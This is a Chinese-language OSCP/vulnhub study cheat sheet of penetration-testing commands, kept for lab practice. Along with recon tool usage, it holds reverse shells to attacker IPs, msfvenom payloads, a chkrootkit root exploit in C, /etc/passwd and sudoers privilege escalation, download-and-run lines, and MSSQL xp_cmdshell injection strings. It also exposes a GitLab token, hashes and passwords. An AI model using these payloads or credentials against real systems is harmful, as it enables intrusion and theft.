vulnhub-OSCP靶场 工具搜集(持续更新)

1.cewl

详细教程:【工具使用】--- cewl_通地塔的博客-CSDN博客

引用其他师傅的博客

我的话只记录两条常用的

cewl http://192.168.15.146/ -w dict.txt #进行爬取该页面内容生成在当前文件夹生成字典

cewl http://192.168.15.146/ -n -e #爬取邮箱

2.netdiscover

网络扫描工具(kali-路由分析)

能够迅速的探测存活主机,如果单用nmap或者masscan扫全段,会很慢,这个探测出来之后在详细扫描会快一些。

netdiscover -i eth0 -r 192.168.1.0/24

3.gobuster

相比于dirb和御剑我觉得好一点的工具,dirb很强,但是太慢了,字典太大还会卡

我用的珍藏版御剑只能指定一些爆破目录,虽然可以自己修改他的原生字典,但是无法将后缀为.php/.html等等加在后面,也就是说字典什么样他就只能爆破什么样

gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u http://doctors.htb/

4.foremost

Kali Linux提供一款还原专用工具Foremost。该工具通过分析不同类型文件的头、尾和内部数据结构,同镜像文件的数据进行比对,以还原文件。

foremost strcpy.exe

5.sudo

sudo -l :提权方面先sudo -l 可以看到可以使用哪些用户的命令 然后对应执行

sudo -s :可以输入密码尝试临时获得高权限root账户

6.SUID提权

查找一些可以sudo的命令 在linux提权查找对应命令进行提权

find / -perm -u=s -type f 2>/dev/null

find / -group pinky 2>/dev/null #看一下当前某个工作组的可以执行文件 也可以找些东西

find / -user root -writable -type f -not -path "/proc/*" 2>/dev/null #查找长度权限为root但是可写的普通文件 并且不查找 /proc文件夹下的内容 并将错误信息不输出

find / -user root -writable -type d -not -path "/proc/*" 2>/dev/null #查找可写文件夹

find / -type f -perm 777 2>/dev/null

7.showmount

使用 showmount 来“显示 NFS 服务器的安装信息” 详情可以help

showmount -e 192.168.1.9

8.enum4linux

用于枚举windows和Linux系统上的SMB服务的工具 详情可以help

enum4linux 192.168.1.9

enum4linux -a -o 192.168.1.9

9.mount

和 showmount 一起使用 将目标的远程目录挂载到本地

showmount -e 10.10.10.180

mkdir ./nfsshare

mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare

nfs共享时 如果提示权限不足 解决方法一般都是上到目标主机 看一下当前目录有该权限的账户的id值 然后再本机创建该类型的用户 如下:
无法访问已安装的共享,可能是因为设置了 root_squash 标志。我们可以放心地假设,如果我们有一个名为 vulnix 且具有相同 UID 的用户,我们就能够访问它。


创建用户:

useradd -u "id" "username"

useradd -u 2008 vulnix

挂载: (上面有问题就用这个)
mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock

10.smbmap

快速扫描和检查 SMB(Server Message Block)共享的命令行工具

smbmap -H <目标IP/主机名> -u <用户名> -p <密码>

smbmap -H 192.168.1.9

smbmap -H 192.168.1.9 -r anonymous

smbmap -H 10.10.10.193 -u tlavel -p 'TfWScpg3aEEi' -r -q

11.smbclient

用于存取共享目标的客户端程序 --help可以查看详细命令

smbclient //192.168.1.9/secured -U divid

smbclient -N -L //10.10.10.134/

smbclient -N //10.10.10.134/Backups

smbclient -L //10.10.132.140 -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" --pw-nt-hash
recurse	ON			#开启递归,开启后会以目录递归方式运行mget和mput命令
prompt OFF			#关闭交互,开启后,下载文件时不再要求输入y/n确认
mget *				#批量获取文件,*是一个调配符,递归遍历时,任何文件名符合通配符的文件都会下载下来,*可以匹配所有

get xxxxx ;下载某个文件
put xxxxx ;上传某个文件
mget * ;下载当前目录下所有文件
tar c test.tar notes/ ; 打包notes目录下所有文件

12.steghide

隐写工具 --help 可以查看需要的详细命令

steghide info plainsight.jpg

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

13.ffuf

模糊测试工具 详情可以help或者找博客

ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt

ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "Host: FUZZ.sneakycorp.htb" --hh 185

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "HOST: FUZZ.sneakycorp.htb" -fs 185

14.修改文件提权

如果有sudo可以执行的root的文件,改成下面的格式可以直接提权

#!/bin/bash
bash -ip

15.knock

敲门收集了两种方法

类似于下图为敲门的配置

knock 192.168.1.5 33 44 55

nmap -Pn --host-timeout 201 --max-retries 0 -p 159 192.168.1.5

16.id_rsa 私钥爆破

今天打靶场遇到了这种情况,就去学习了

cd /usr/share/john
使用这个目录下的ssh2john.py文件进行转化格式
./ssh2john.py ~/id_rsa > ~/hash 将id_rsa转化为john可以识别的内容
开始爆破
john hash --wordlist=/usr/share/wordlists/rockyou.txt

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd #hash密码爆破指定md5 也就是1类型

john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

hashcat -m 1000 hashes.txt --show

# 查找对应的hash格式
hashcat --help | grep -i "Kerberos"

17.newgrp

newgrp命令是Linux系统中的一个用于切换用户组的命令。通过newgrp命令,用户可以暂时地切换到另一个用户组,以便在该用户组下执行命令或访问特定的文件

newgrp

18.文件上传构造环境

用于构造文件上传的环境,不用自己构建数据包,找到接口上传即可

<html>
<body>
<form method="post" action="http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>

curl http://192.168.225.249:33414/file-upload -F "file=@/home/kali/hackthebox/ft.txt" -v  -X POST -H "Content-Type: multipart/form-data" -F filename="/tmp/authorized_keys"

19.chkrootkit(非常规提权)

详情:Chkrootkit 0.49本地提权漏洞利用与防范研究 - 知乎

找到 chkrootkit 目录,目录里面一般有README 看看版本

一般在 /etc/chkrootkit

或者用该命令更好

./chkrootkit -V 如果为0.49 即可按照上面的方法提权

具体流程如下

保存文件为 updata.c 下载到目标机器的 /tmp 文件夹下

#include <unistd.h>

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

gcc -o update update.c #进行编译

编译完成进入 chkrootkit 目录运行一下 chkrootkit ./chkrootkit

会发现 /tmp/update 变为了root的权限

回到 tmp 文件夹执行 ./updata 即可获得root权限

20.查看系统版本及内核

uname -r

cat /etc/*-release

lsb_release -a

21.脏牛Linux本地提权漏洞(CVE-2016-5195)

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

影响版本如下:

Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

22.Apport(Ubuntu 14.04/14.10/15.04)- 竞态条件提权漏洞

Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit

没有想到过可以运行这个提权,因为这种类型的exp对我来说不是常见,也就认为不是很好用,但事实是他可以执行,所以就先记录一下。

23.hexchat(IRC)

ngIRCd的默认密码是' wealllikedebian '

24.smtp-user-enum

smtp用户枚举 详细使用教程可以看help

smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10

25.shellshock

打靶场时遇到连接成功直接断开的问题,搜了很久没有找到能够在 "ssh连接时执行命令" 的漏洞教程,唯一一个教的是在连接时后面加上 "ls -al" 可以执行命令 但是没有用 后面看wp找到的该漏洞

bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange

'() { :;}; command' #在连接时后面加上这个即可 command 为要执行的命令

ssh -i noob noob@192.168.1.5 -o PubkeyAcceptedKeyTypes=ssh-rsa "() { :;}; bash -c 'exec bash -i >& /dev/tcp/192.168.1.8/1111 <&1'"

26.apache2.conf 提权

原理就是 将apache2.conf 里加上某个用户和组 重启apache之后配置文件会写入进去 提前在/var/www/html 目录里放上webshell 这样重启完成在点击webshell可以反弹出来添加进去的用户的权限

默认不让root启动 所以提权其他用户 前提是要有重启apache以及修改apache2.conf 的权限

#User ${APACHE_RUN_USER}
#Group ${APACHE_RUN_GROUP}

User test

Group test

/etc/apache2/sites-enabled 这个目录存在配置文件

27.netstat -tuln

查看端口占用情况 这个命令很简单没啥难度可言 但还是记录一下把

netstat -tuln

netstat -ano

28.dig

爆破子域 dig后面跟着域名 @后面跟上dns服务器即可

dig hackers.blackhat.local @192.168.2.177

dig @10.10.10.123 friendzoneportal.red AXFR

dnsenum fabricorp.local --dnsserver 10.10.10.193

这个命令会返回整个 DNS 区域的记录,包括所有的 A、AAAA、CNAME、MX 等记录,以及子域名的信息。

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

29.python Capabilities cap_sys_ptrace+ep提权

命令: getcap -r / 2>/dev/null |grep python

回显: /usr/bin/python2.7 = cap_sys_ptrace+ep


脚本地址:
https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
 

教程地址:
https://www.cnblogs.com/zlgxzswjy/p/15185591.html

30. /etc/passwd 提权

当 /etc/passwd 可以写入时,可以加入一条用户,su切换即可

生成加盐密码 Password为修改的密码 salt为修改的盐

perl -le 'print crypt("Password","salt")'

写入 /etc/passwd su切换即可

echo "hack:ad7t5uIalqMws:0:0::/root:/bin/bash" >> /etc/passwd

31.计划任务提权

cat /etc/crontab

查看计划任务 找到关键点
 

# */5 * * * * root cd /var/www/html/ && sudo ./finally.sh
 

  • 第1列:分钟(0-59)

  • 第2列:小时(0-23)

  • 第3列:一个月中的第几天(1-31)

  • 第4列:月份(1-12)

  • 第5列:一周中的第几天(0-7,其中0和7都代表星期日)

  • 第6列:要执行命令的用户

  • 第7列:要执行的命令


表示每5分钟时,以root用户身份进入/var/www/html/目录,并以sudo权限运行finally.sh脚本

计划任务某个执行文件具有root权限,而普通用户可以更改该执行文件时

1. chmod u+s /bin/bash

chmod u+s /bin/bash

/bin/bash -p # 即可提权到 root 用户组

或者
 

cp /bin/bash /var/www/html/suidbash
chmod u+s /var/www/html/suidbash

suidbash -p #即可提权到 root 用户组

2. sudo -l

echo 'www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh' >> /etc/sudoers
将当前账户的 sudo 执行权限写入 sudoers 文件里,在给可执行文件加上 u+s 权限
最后sudo 执行该文件即可提权 如下:

chmod u+s finally.sh
echo 'www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh' >> /etc/sudoers

sudo -l

Matching Defaults entries for www-data on sar:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on sar:
(ALL) NOPASSWD: /var/www/html/finally.sh
 

echo 'su root' >> finally.sh
sudo /var/www/html/finally.sh

32.Bypass命令注入限制

Bypass一些命令注入限制的姿势 - 先知社区

echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=" | base64 -d | bash

echo 解码执行

33.uncompyle6 pyc逆向

逆向pyc只用如下
uncompyle6 1.pyc > 1.py

在线pyc,pyo,python,py文件反编译,目前支持python1.5到3.6版本的反编译-在线工具

34.反弹shell

bash -c 'exec bash -i >& /dev/tcp/192.168.2.75/9999 <&1'

python -c 'import pty; pty.spawn("/bin/bash")'

nc -e /bin/bash 192.168.31.17 7777

35.john

echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' >>/tmp/1
john /tmp/1 --wordlist=/usr/share/wordlists/rockyou.txt


zip:
zip2john passwd.zip > passwd.hash

john passwd.hash
john passwd.hash --wordlist=/usr/share/wordlists/rockyou.txt

john --pot=new.pot hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

36.进程发现 pspy

Release No more waiting on drain · DominicBreuker/pspy · GitHub

上传运行即可 查看进程情况 后续进行提权

37.字典

目录爆破字典

/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

https://www.cnblogs.com/shenlinken/p/10176682.html 可以对字典进行操控 去重倒序都可以
sort -u duweixin.net.txt		#去重
sort -r duweixin.net.txt		#倒序


# 这个非常强大
feroxbuster --url http://
https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g

38.smtp

常见命令

命令行 作用

helo smtp 和服务器打招呼,测试登陆进去没

auth login 登陆具体邮箱,用户名和密码是经过base64加密的

mail from 输入邮件的发送方

rcpt to 输入邮件的接收方

data 开始编写邮件

quit 退出

# 与服务器打招呼
HELO mail.relia.com

# 开始登录
AUTH LOGIN
# 输入 base64 编码的用户名 (maildmz@relia.com)
bWFpbGRtekByZWxpYS5jb20=
# 输入 base64 编码的密码 (DPuBT9tGCBrTbR)
RFB1QlQ5dEdjQnJUYlI=


MAIL FROM:<maildmz@relia.com>
RCPT TO:<接收方邮箱>
DATA
Subject: 测试邮件
这是邮件内容

.     # 单独一行的点表示邮件内容结束


swaks --to jim@relia.com \
      --from maildmz@relia.com \
      --server 192.168.183.189 \
      --auth LOGIN \
      --auth-user maildmz@relia.com \
      --auth-password DPuBT9tGCBrTbR \
      --header "Subject: Test Email Subject" \
      --body "This is the email body content.\nMultiple lines can be included.\n" \
      --attach file.txt \
      --attach-type "text/plain" \
      --attach-name "custom_filename.txt"

# 附件记得加@
swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body "This is the email body content.\nMultiple lines can be included.\n" --header "Subject: Urgent Configuration Setup" --suppress-data

下面记录一个严重的问题 就是携带附件的时候 携带不了

# 创建邮件格式
cat > email.txt << 'EOL'
From: maildmz@relia.com
To: jim@relia.com
Subject: Urgent Configuration Setup
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=boundary

--boundary
Content-Type: text/plain

This is the email body content.

--boundary
Content-Type: application/ms-library
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="configuration.Library-ms"

EOL

# 发的文件需要base64编码 放在下面
base64 configuration.Library-ms >> email.txt

# 结尾
echo "
--boundary--" >> email.txt

至此 请求包
swaks -to jim@relia.com \
      --from maildmz@relia.com \
      --auth LOGIN \
      --auth-user maildmz@relia.com \
      --auth-password DPuBT9tGCBrTbR \
      --server 192.168.183.189 \
      --data "$(cat email.txt)"
    

常见的反馈代码

代码 含义

220 smtp已处于在线状态,可以进行相关操作

221 关闭smtp服务

250 当前操作已经正确完成

334 等待输入,在登陆用户是出现

235 验证成功

535 验证失败

39.pop3

pop3协议

pop3默认端口为110。pop3协议有两个阶段:

认证阶段

用户端输入用户名、密码进行认证,服务器端返回OK或者ERR

事务阶段

可以对邮件基本操作。

常用命令

命令 作用

user 输入用户名

pass 输入密码

list 列出消息数量,并且自动编号

retr 根据消息编号检索消息

dele 删除消息

quit 退出

40.nmap

nmap -p- --min-rate 10000 10.10.10.51

--script vuln

find /usr/share/nmap/scripts -name '*wordpress*'

nmap -T4 -Pn -sC --script http-wordpress-enum --script-args http-wordpress-enum.root="/webservices/wp/",http-wordpress-enum.search-limit="all",http-wordpress-enum.check-latest="true" -p80 tartarsauce.htb

nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

https://nosec.org/home/detail/2844.html #收集插件

# 探测存活
nmap -sn 172.16.131.0/24
# 初步扫描探测
nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24


41.masscan

masscan -p 1-65535 10.10.10.58 --rate=100

42.nc

服务端
cat aa.txt | nc -l -p 10000
nc -l -p 10000 < aa.txt
客户端
nc -n 192.168.1.100 10000 > aa.txt
接收端执行命令:(6666为任意可用端口)
nc -lvp 6666 > fileName
传输端执行命令:
nc 目标ip 6666 < fileName

43.wpscan

wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 50 #全面扫插件

44.sudo

sudo -u 可以指定某个用户 来使用它的sudo提升权限的应用

45.locate

locate backuper

类似于find 但比它方便

46.bash

/bin/bash bash -p #可以获取当前权限的新shell 有时候要写脚本可以用这个 比如suid

#include <unistd.h>
void main() {
    execl("/bin/bash", "bash", "-p", NULL);
}

47.gcc

#版本兼容问题 用static即可 有些主机是32位的 加上m32即可

gcc -static -m32 -o 1 1.c

48.irc

irc是一个聊天软件 启动用hexchat就行 配置其他的比较简单

49.ssh配置文件

https://blog.csdn.net/qq_41765918/article/details/126837789

1.公钥名字

在互信机器上面公钥的名字是authorized_keys,有多台机器请写多行,名字是根据/etc/ssh/sshd_config配置文件的AuthorizedKeysFile 参数确定的默认是authorized_keys

2.公钥路径

查看/etc/ssh/sshd_config配置文件,找到AuthorizedKeysFile .ssh/authorized_keys参数,如图

如果取消了注释,那么authorized_keys文件放置对应目录,如果没有取消注释,文件在~/.ssh/下面

3.权限

目录结构:~/.ssh/authorized_keys

authorized_keys文件权限600,.ssh目录权限700 ,~目录目录权限755

#禁用root账户登录,如果是用root用户登录请开启
PermitRootLogin yes

# 是否让 sshd 去检查用户家目录或相关档案的权限数据,
# 这是为了担心使用者将某些重要档案的权限设错,可能会导致一些问题所致。
# 例如使用者的 ~.ssh/ 权限设错时,某些特殊情况下会不许用户登入
StrictModes no

# 是否允许用户自行使用成对的密钥系统进行登入行为,仅针对 version 2。
# 至于自制的公钥数据就放置于用户家目录下的 .ssh/authorized_keys 内
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile      .ssh/authorized_keys

# 有了证书登录了,就禁用密码登录。
PasswordAuthentication no

50.多开shell

setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
nohup setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &

51.缓冲区溢出(简述)

info registers		#崩溃信息
disassemble				#后面加参数 disassemble main 查看这个函数的汇编代码
ldd								#查找动态链接库
ldd rop | grep libc		#rop为具体程序
readelf						#查找函数偏移量
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"		#查找system函数的偏移量
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"		#查找/bin/sh字符串地址
break *0x80484f8	#break打断点
x/20x $esp				#查看栈上的数据
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
Dump of assembler code for function vuln:
   0x080484f8 <+0>:     push   %ebp									#将调用的栈帧基址压入栈中
   0x080484f9 <+1>:     mov    %esp,%ebp						#改变ebp为当前栈顶
   0x080484fb <+3>:     sub    $0x38,%esp						#减少栈指针56个字节 分配出来
   0x080484fe <+6>:     sub    $0x8,%esp						#减少栈指针8个字节 分配出来
   0x08048501 <+9>:     push   0x8(%ebp)						#从取出传递的参数8个字节压入栈中
   0x08048504 <+12>:    lea    -0x30(%ebp),%eax			#ebp减去48个字节 将地址给eax
   0x08048507 <+15>:    push   %eax									#将eax压入栈中
   0x08048508 <+16>:    call   0x8048350 <strcpy@plt>	#调用strcpy函数
   0x0804850d <+21>:    add    $0x10,%esp
   0x08048510 <+24>:    sub    $0xc,%esp
   0x08048513 <+27>:    push   $0x80485dd
   0x08048518 <+32>:    call   0x8048340 <printf@plt>
   0x0804851d <+37>:    add    $0x10,%esp
   0x08048520 <+40>:    sub    $0xc,%esp
   0x08048523 <+43>:    lea    -0x30(%ebp),%eax
   0x08048526 <+46>:    push   %eax
   0x08048527 <+47>:    call   0x8048340 <printf@plt>
   0x0804852c <+52>:    add    $0x10,%esp
   0x0804852f <+55>:    nop
   0x08048530 <+56>:    leave
   0x08048531 <+57>:    ret

52.windows 切换用户

runas /user:administrator cmd.exe

psexec -u app -p password powershell

$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# 方式1: Invoke-Command
Invoke-Command -ScriptBlock { 要执行的命令 } -Credential $cred

# 方式2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "要执行的命令"

53.msfvenom

在windows下 反弹shell貌似变得有点麻烦 他不像linux非常方便的将shell弹回来

此时需要各种各样的msfvenom的反弹shell的脚本 这里用作记录

非msf的弹shell脚本 nc监听即可
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334

aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x> ./back.aspx

jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > shell.jsp

dll
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp

php
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw > shell.php

payloads作为-l的参数列出所有 payloads
此外,我们使用 --platform指定 payload 的平台,使用--arch 指定体系结构
msfvenom -l payloads --platform windows --arch x64

54.windows常规提权

一、烂土豆提权

https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md #找到对应版本的CLSID

https://www.cnblogs.com/J0o1ey/p/15714555.html 详细教程

  1. 查看RPC默认端口是否为135 如果被修改(例如为111) juicypotato的参数可以使用-n 111指定RPC端口
  2. 查看当前用户权限,是否符合要求 whoami /priv

如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

如果均开启,可以选择-t *

如果均未开启,那么无法提权。

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer

echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 > shell.bat
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"

二、

55.impacket参数

smbserver.py kali . -smb2support #启动smb2协议
python smbpasswd.py tlavel@10.10.10.193

56.RPC枚举

rpcclient -U "" -N 10.10.10.248
rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193
rpcclient -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.132.140 

# 查看所有用户
enumdomusers
# 查看所有组
enumlsgroups
# 查询某个用户属于哪个组
queryusergroups
queryusergroups 0x46c

# IT组就可以去改密码
# 如果权限错误是可以改密码的
setuserinfo christopher.lewis 23 'Admin!23'
setuserinfo2 christopher.lewis 23 'Admin!23'
setuserinfo3 christopher.lewis 23 'Admin!23'
这个可以通过winrm连

57.windows download

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe
curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe
certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe

58.git

git-dumper http://192.168.165.144/.git/ output_dir

# 提交新文件到git
git add shell.aspx
# 提交更改
git commit -m "add shell.aspx"
# 推送过去
git push origin main

git show #查看所有提交

添加所有更改:
git add .        # 添加当前目录下所有更改
git add -A       # 添加所有更改,包括删除的文件

添加特定文件:
git add file1.txt file2.txt    # 添加多个指定文件
git add *.txt                  # 添加所有.txt文件

提交时也有类似选择:
git commit -m "message"        # 提交所有已经add的文件
git commit file1.txt -m "message"    # 提交特定文件
git commit -am "message"       # 自动add并提交所有已追踪的更改文件


正常提交
git add .
git commit -m "test"
git push


私有token验证
git remote set-url origin https://oauth2:glpat-PzrxBe-5Js7c3t7hoq4X@10.20.174.14/your-group/your-project.git
git remote set-url origin http://oauth2:glpat-PzrxBe-5Js7c3t7hoq4X@10.20.174.14/skylark-rd/scratchpad




https://juejin.cn/post/7021023267028729887

59.ExifTool(元数据分析)

ExifTool 1.pdf
ExifTool -a -u 1.pdf

60.同步时钟(时间)

https://gitlab.com/NTPsec/ntpsec/-/issues/292

https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found

ntpdate -u htb.local && date
ntpdate -u htb.local -6 && date
ntpdate -u htb.local -4 && date

rpcclient -U "" -N htb.local
rpcdump> gettime

net time -S htb.local

rdate -n htb.local

#同步
date -s "Sat Dec  7 05:14:11 2024"
date

61.windows读取 Microsoft Defender 排除列表

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

62.OSCP笔记-信息收集

whois是在43端口开放的

whois 38.100.193.70 -h 192.168.50.251
whois megacorpone.com -h 192.168.50.251

whois megacorpone.com -h 192.168.131.251

google 利用google爬虫做信息收集

# 筛选txt为后缀的文件
site:megacorpone.com filetype:txt
# 去除后缀为htlm的文件
site:megacorpone.com -filetype:html

# 上面只是冰山一角 下面的可以查到很多信息
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com/

site:megacorpone.com intext:VP Of Legal

host

host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
host www.megacorpone.com
host idontexist.megacorpone.com

cat list.txt
www
ftp
mail
owa
proxy
router

for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"

dns爆破

使用-d选项指定域名 使用-t指定要执行的枚举类型(在本例中为标准扫描)
dnsrecon -d megacorpone.com -t std

暴力破解尝试
-d 选项指定域名
-D指定包含潜在子域字符串的文件名
-t指定要执行的枚举类型
brt表示暴力破解
dnsrecon -d megacorpone.com -D ~/list.txt -t brt
dnsenum megacorpone.com
nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151

netcat

-w选项指定连接超时(以秒为单位)
-z指定零 I/O 模式 该模式用于扫描且不发送任何数据。
-u udp扫描
-nv 详细模式
-nvv 更详细模式

nc -nvv -w 1 -z 192.168.50.152 3388-3390
nc -nv -u -z -w 1 192.168.50.149 120-123

端口扫描

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null

63.MSSQL注入

https://y4er.com/posts/mssql-injection-learn
https://y4er.com/posts/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!

# 恢复xp_cmdshell
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;  //打开xp_cmdshell扩展
RECONFIGURE;--

# 测试xp_cmdshell是否开启 盲注
'; IF OBJECT_ID('xp_cmdshell') IS NOT NULL WAITFOR DELAY '0:0:5'; --
'; exec master..xp_cmdshell 'whoami'; WAITFOR DELAY '0:0:5'; --
'; IF (SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell') = 1 WAITFOR DELAY '0:0:5'; --
'; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = 'xp_cmdshell' AND value_in_use = 1) WAITFOR DELAY '0:0:5'; --


# 测试文件是否存在 存在延时五秒
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @@ERROR = 0 WAITFOR DELAY '0:0:5'; --
# 下面这个也是测试文件是否存在 但是好用
'; DECLARE @result int; EXEC @result = xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @result = 0 WAITFOR DELAY '0:0:5'; --
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs && ping -n 6 127.0.0.1'; --

# 执行shell
'; exec master..xp_cmdshell ' curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt '; --

提示:确认xp_cmdshell存在的时候 不一定非要去写文件 他是一个CMD
能执行很多命令的 比如curl下载文件再执行 在我看来写文件反而是个不好的决定

mssql语句

sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth

-- 列出所有数据库
SELECT name FROM master.sys.databases
GO

-- 切换数据库
USE databasename
GO

-- 列出当前数据库所有表
SELECT name FROM sysobjects WHERE xtype = 'U'
GO

-- 查看某个表的内容
SELECT * FROM tablename
GO

powershell连接mssql

$sql = "Server=10.10.132.142;Database=master;Integrated Security=True;"
$conn = New-Object System.Data.SqlClient.SqlConnection($sql)
$conn.Open()

参考 https://blog.csdn.net/kk185800961/article/details/52513640

执行sql语句下面一条就行 不行的话去上面查

$cmd.CommandText = "SELECT name FROM master.dbo.sysdatabases"; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close()

